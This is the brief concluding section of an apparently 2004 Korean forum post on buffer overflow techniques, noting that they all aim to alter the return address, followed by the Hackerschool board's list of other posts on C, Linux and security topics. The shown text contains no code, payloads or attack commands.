9. 기타 overflow 방법 (글을 마치면서)

이 문서는 overflow 의 모든 기법에 대해서 다룬 문서는 아닙니다.

buffer overflow 공격 기술은, 테크닉은 각각 달라도 궁극적으로는 return address 를
변경 시켜야 한다는 점에서 공통점이 있습니다. 위에서 설명한 방법 이외에도 다른
공격 가능성과, 공격 기법들이 존재합니다.

이 문서에서 소개한 내용 이외에도 제 홈페이지에서 다른 종류의 overflow 풀이에
대해서 다루고 있으니 그 글들도 읽어보시기 바랍니다.



  Hit : 15133     Date : 2004/07/07 05:18



    
1560   윈도우에서 grep 사용하기[3]     송시
11/05 8035
1559   IP 와 PORT[8]     송시
11/02 9725
1558   [자작] [C문제] 대소문자 바꾸기[3]     소울
03/20 6866
1557   [자작] [C문제] 소수만 걸러내기[2]     소울
03/20 7647
1556   [자작] [C문제] 점(.)을 뺀 문자 출력하기[1]     소울
03/20 6488
1555   [자작] 윈도우 cmd 팁 - 복사하기[7]     소울
03/01 8868
1554   [자작] FTZ 트레이닝 1~10까지 간단하게 정리[14]     소울
03/01 14462
1553   Format String Attack - Concept and General Exploit (by Seo SungHyen)[6]     소유
07/07 10921
1552   버퍼오버플로우 by 오하라[3]     소유
07/07 14668
  Overflow 공격 기법들에 대한 정리 by 버스트     소유
07/07 15132
1550   왜 C 이어야 하는가 ?[96]     소유
04/09 23413
1549   인터넷에 리눅스 서버 구축하기[1]     소유
07/07 14208
1548   [잡] 네트워크 TCP[8]     소유
10/31 8765
1547   [잡] 네트워크 IP[5]     소유
11/01 9771
1546   리눅스 설치하기 - RPM편[3]     소유
10/09 9236
1545   리눅스 설치하기 - 쉘편[2]     소유
10/07 9272
1544   앞으로 이어질 글에 대해서.....[2]     소유
10/06 8148
1543   리눅스 설치하기 - 디렉토리편     소유
10/06 8767
1542   리눅스 설치하기 - 파티션편[6]     소유
10/06 9125
1541   리눅스 설치하기 - 팁편     소유
10/06 8533
[1] 2 [3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com